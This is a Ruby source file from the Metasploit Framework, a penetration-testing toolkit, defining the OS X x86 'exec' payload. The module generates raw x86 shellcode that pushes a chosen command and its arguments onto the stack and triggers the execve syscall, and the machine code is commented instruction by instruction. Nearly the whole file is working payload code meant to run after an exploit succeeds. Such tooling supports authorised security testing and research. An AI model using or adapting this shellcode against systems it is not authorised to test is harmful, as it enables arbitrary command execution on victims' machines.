metasploit-framework/modules/payloads/singles/osx/x86/exec.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'


###
#
# Exec
# ----
#
# Executes an arbitrary command.
#
###
module Metasploit3

	include Msf::Payload::Single
	include Msf::Payload::Osx

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'OS X Execute Command',
			'Description'   => 'Execute an arbitrary command',
			'Author'        => [ 'snagg <snagg[at]openssl.it>', 
			                     'argp <argp[at]census-labs.com>',
			                     'joev <jvennix[at]rapid7.com>' ],
			'License'       => BSD_LICENSE,
			'Platform'      => 'osx',
			'Arch'          => ARCH_X86
		))

		# Register exec options
		register_options(
			[
				OptString.new('CMD',  [ true,  "The command string to execute" ]),
			], self.class
		)
	end

	#
	# Dynamically builds the exec payload based on the user's options.
	#
	def generate_stage
		cmd_str   = datastore['CMD'] || ''
		# Split the cmd string into arg chunks
		cmd_parts = Shellwords.shellsplit(cmd_str)
		# the non-exe-path parts of the chunks need to be reversed for execve
		cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
		arg_str = cmd_parts.map { |a| "#{a}\x00" }.join

		# Stuff an array of arg strings into memory
		payload =  "\x31\xc0" +                       # xor eax, eax  (eax => 0)
		           Rex::Arch::X86.call(arg_str.length) + # jmp over CMD_STR, stores &CMD_STR on stack
		           arg_str +
		           "\x5B"                             # pop ebx (ebx => &CMD_STR)

		# now EBX contains &cmd_parts[0], the exe path
		if cmd_parts.length > 1
			# Build an array of pointers to arguments
			payload += "\x89\xD9" +                   # mov ecx, ebx
			           "\x50" +                       # push eax; null byte (end of array)
			           "\x89\xe2"                     # mov edx, esp (EDX points to the end-of-array null byte)
			cmd_parts[1..-1].each_with_index do |arg, idx|
				# can probably save space here by doing the loop in ASM
				# for each arg, push its current memory location on to the stack
				payload += "\x81\xC1" +               # add ecx, ...
				           [cmd_parts[idx].length+1].pack('V') +
				                                      # (cmd_parts[idx] is the prev arg)
				           "\x51"                     # push ecx (&cmd_parts[idx])
			end
			payload += "\x53" +                       # push ebx (&cmd_parts[0])
			           "\x89\xe1" +                   # mov ecx, esp (ptr to ptr to first str)
			           "\x52" +                       # push edx
			           "\x51"                         # push ecx
		else
			# pass NULL args array to execve() call
			payload += "\x50\x50"                     # push eax, push eax
		end

		payload += "\x53" +                           # push ebx
		           "\xb0\x3b" +                       # mov al, 0x3b (execve)
		           "\x50" +                           # push eax
		           "\xcd\x80"                         # int 0x80 (triggers execve syscall)

		payload
	end
end